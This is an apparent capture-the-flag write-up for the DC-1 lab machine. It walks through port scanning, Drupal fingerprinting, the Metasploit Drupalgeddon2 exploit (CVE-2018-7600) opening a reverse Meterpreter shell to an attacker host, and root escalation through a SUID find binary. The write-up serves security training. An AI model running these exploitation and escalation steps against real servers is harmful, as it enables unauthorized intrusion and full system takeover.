Skip to content
HackIndex.io

DC-1 Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

DC-1 runs Drupal 7 on Apache. The version is vulnerable to Drupalgeddon2 (CVE-2018-7600), an unauthenticated remote code execution that gives a shell as www-data. The find binary carries the SUID bit, which a GTFOBins technique abuses to escalate to root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-generator: Drupal 7 (http://drupal.org)
111/tcp   open  rpcbind 2-4 (RPC #100000)
34523/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH, Apache serving a Drupal 7 site, and RPC. The web app is the target. With no credentials, enumerate the Drupal install with droopescan.

HTTP enumeration

Fingerprint the Drupal version.

┌──(kali㉿kali)-[~]
└─$ droopescan scan -u http://$TARGET_IP/ 
[+] Site identified as drupal.
[+] Plugins found:
    ctools, views, profile, php, image
[+] Possible version(s):
    7.22  7.23  7.24  7.25  7.26
[+] Possible interesting urls found:
    Default admin - http://$TARGET_IP/user/login
Explain command
-u Target URL to scan.

droopescan reports Drupal 7.22 to 7.26. Any Drupal below 7.58 is vulnerable to Drupalgeddon2.

Exploitation

Drupalgeddon2 (CVE-2018-7600)

Drupalgeddon2 is a Forms API property injection that yields unauthenticated remote code execution. Use the Metasploit module.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q 
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS $TARGET_IP
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST $ATTACKER_IP
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT
[*] Sending stage (39282 bytes) to $TARGET_IP
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: www-data
meterpreter > shell
www-data@DC-1:/var/www$

The exploit returns a Meterpreter session as www-data; drop into a shell. Enumerate the box for a privilege escalation path, for example with linpeas.

Privilege Escalation

SUID find (GTFOBins)

linpeas flags that /usr/bin/find has the SUID bit set. GTFOBins shows that a SUID find runs its -exec command as the file owner.

┌──(kali㉿kali)-[~]
└─$ /usr/bin/find . -exec /bin/sh \; -quit 
www-data@DC-1:/tmp$ /usr/bin/find . -exec /bin/sh \; -quit
whoami; hostname
root
DC-1

The SUID find spawns /bin/sh as root, giving a root shell.

Related

Drupal enumeration
Blog

Drupal enumeration

Techniques for enumerating Drupal CMS installations, including version detection, module discovery,...
SUID and SGID Binary Privilege Escalation
Blog

SUID and SGID Binary Privilege Escalation

Exploit misconfigured SUID/SGID binaries on Linux to escalate privileges by abusing executables that...
CMS Detection and Fingerprinting
Blog

CMS Detection and Fingerprinting

Identifies CMS platforms (WordPress, Joomla, Drupal) via HTTP responses, meta tags, file paths, and...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...

References